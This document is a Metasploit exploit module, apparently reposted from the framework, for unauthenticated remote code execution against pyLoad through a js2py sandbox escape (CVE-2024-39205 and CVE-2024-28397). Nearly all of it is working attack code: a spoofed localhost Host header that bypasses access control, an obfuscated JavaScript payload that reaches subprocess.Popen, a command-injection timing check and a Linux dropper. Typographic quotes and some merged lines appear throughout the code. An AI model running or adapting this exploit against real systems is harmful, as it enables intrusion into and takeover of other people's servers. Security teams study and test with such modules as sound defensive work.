Pyload Remote Code Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require ‘rex/stopwatch’

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

def initialize(info = {})
super(
update_info(
info,
‘Name’ => ‘Pyload RCE (CVE-2024-39205) with js2py sandbox escape (CVE-2024-28397)’,
‘Description’ => %q{
CVE-2024-28397 is sandbox escape in js2py (<=0.74) which is a popular python package that can evaluate
javascript code inside a python interpreter. The vulnerability allows for an attacker to obtain a reference
to a python object in the js2py environment enabling them to escape the sandbox, bypass pyimport restrictions
and execute arbitrary commands on the host. At the time of writing no patch has been released, version 0.74
is the latest version of js2py which was released Nov 6, 2022.

CVE-2024-39205 is an remote code execution vulnerability in Pyload (<=0.5.0b3.dev85) which is an open-source
download manager designed to automate file downloads from various online sources. Pyload is vulnerable because
it exposes the vulnerable js2py functionality mentioned above on the /flash/addcrypted2 API endpoint.
This endpoint was designed to only accept connections from localhost but by manipulating the HOST header we
can bypass this restriction in order to access the API to achieve unauth RCE.
},
‘Author’ => [
‘Marven11’, # PoC
‘Spencer McIntyre’, # Previous pyLoad module which this is based on
‘jheysel-r7’ # Metasploit module
],
‘References’ => [
[ ‘CVE’, ‘2024-39205’ ],
[ ‘CVE’, ‘2024-28397’ ],
[ ‘URL’, ‘https://github.com/Marven11/CVE-2024-39205-Pyload-RCE’ ],
[ ‘URL’, ‘https://github.com/pyload/pyload/security/advisories/GHSA-w7hq-f2pj-c53g’ ],
[ ‘URL’, ‘https://github.com/Marven11/CVE-2024-28397-js2py-Sandbox-Escape’ ],
],
‘DisclosureDate’ => ‘2024-10-28’,
‘License’ => MSF_LICENSE,
‘Platform’ => %w[unix linux],
‘Arch’ => [ARCH_CMD, ARCH_X86, ARCH_X64],
‘Privileged’ => true,
‘Targets’ => [
[
‘Unix Command’,
{
‘Platform’ => %w[unix linux],
‘Arch’ => ARCH_CMD,
‘Type’ => :unix_cmd
}
],
[
‘Linux Dropper’,
{
‘Platform’ => ‘linux’,
‘Arch’ => [ARCH_X86, ARCH_X64],
‘Type’ => :linux_dropper
}
],
],
‘DefaultTarget’ => 0,
‘Notes’ => {
‘Stability’ => [CRASH_SAFE],
‘Reliability’ => [REPEATABLE_SESSION],
‘SideEffects’ => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]}
)
)

register_options([
Opt::RPORT(9666),
OptString.new(‘TARGETURI’, [true, ‘Base path’, ‘/’])
])
end

def check
sleep_time = rand(5..10)

_, elapsed_time = Rex::Stopwatch.elapsed_time do
execute_command(“sleep #{sleep_time}”)
end

vprint_status(“Elapsed time: #{elapsed_time} seconds”)

unless elapsed_time > sleep_time
return CheckCode::Safe(‘Failed to test command injection.’)
end

CheckCode::Vulnerable(‘Successfully tested command injection.’)
rescue Msf::Exploit::Failed
return CheckCode::Safe(‘Failed to test command injection.’)
end

def exploit
print_status(“Executing #{target.name} for #{datastore[‘PAYLOAD’]}”)

case target[‘Type’]when :unix_cmd
if execute_command(payload.encoded)
print_good(“Successfully executed command: #{payload.encoded}”)
end
when :linux_dropper
execute_cmdstager
end
end

def javascript_payload(cmd)
js_vars = Rex::RandomIdentifier::Generator.new({ language: :javascript })

js = <<~EOS
let #{js_vars[:command]} = “#{cmd}”
let #{js_vars[:hacked]}, #{js_vars[:bymarve]}, #{js_vars[:n11]}
let #{js_vars[:getattr]}, #{js_vars[:obj]}

#{js_vars[:base]} = ‘__base__’
#{js_vars[:getattribute]} = ‘__getattribute__’
#{js_vars[:hacked]} = Object.getOwnPropertyNames({})
#{js_vars[:bymarve]} = #{js_vars[:hacked]}[#{js_vars[:getattribute]}]#{js_vars[:n11]} = #{js_vars[:bymarve]}(“__getattribute__”)
#{js_vars[:obj]} = #{js_vars[:n11]}(“__class__”)[#{js_vars[:base]}]#{js_vars[:getattr]} = #{js_vars[:obj]}[#{js_vars[:getattribute]}]#{js_vars[:sub_class]} = ‘__subclasses__’;

function #{js_vars[:findpopen]}(#{js_vars[:o]}) {
let #{js_vars[:result]};
for(let #{js_vars[:i]} in #{js_vars[:o]}[#{js_vars[:sub_class]}]()) {
let #{js_vars[:item]} = #{js_vars[:o]}[#{js_vars[:sub_class]}]()[#{js_vars[:i]}]if(#{js_vars[:item]}.__module__ == “subprocess” && #{js_vars[:item]}.__name__ == “Popen”) {
return #{js_vars[:item]}
}
if(#{js_vars[:item]}.__name__ != “type” && (#{js_vars[:result]} = #{js_vars[:findpopen]}(#{js_vars[:item]}))) {
return #{js_vars[:result]}
}
}
}

#{js_vars[:n11]} = #{js_vars[:findpopen]}(#{js_vars[:obj]})(#{js_vars[:command]}, -1, null, -1, -1, -1, null, null, true).communicate()
EOS

opts = { ‘Strings’ => true }

js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)
js.obfuscate(memory_sensitive: true)
js.to_s
end

def execute_command(cmd, _opts = {})
cmd.gsub!(/\\/, ‘\\\\\\\\’)
cmd.gsub!(/”/, ‘\”‘)
vprint_status(“Executing command: #{cmd}”)
crypted_b64 = Rex::Text.encode_base64(rand(4))

res = send_request_cgi(
‘method’ => ‘POST’,
‘headers’ => {
‘Host’ => “127.0.0.1:#{datastore[‘RPORT’]}”
},
‘uri’ => normalize_uri(target_uri.path, ‘flash’, ‘addcrypted2’),
‘vars_post’ => {
‘crypted’ => crypted_b64,
‘jk’ => javascript_payload(cmd)
}
)

# The command will either cause the response to timeout or return a 500
return if res.nil?
return if res.code == 500 && res.get_xml_document.xpath(‘//title’).text == ‘Sorry, something went wrong… :(‘

fail_with(Failure::UnexpectedReply, “The HTTP server replied with a status of #{res.code}”)
end

end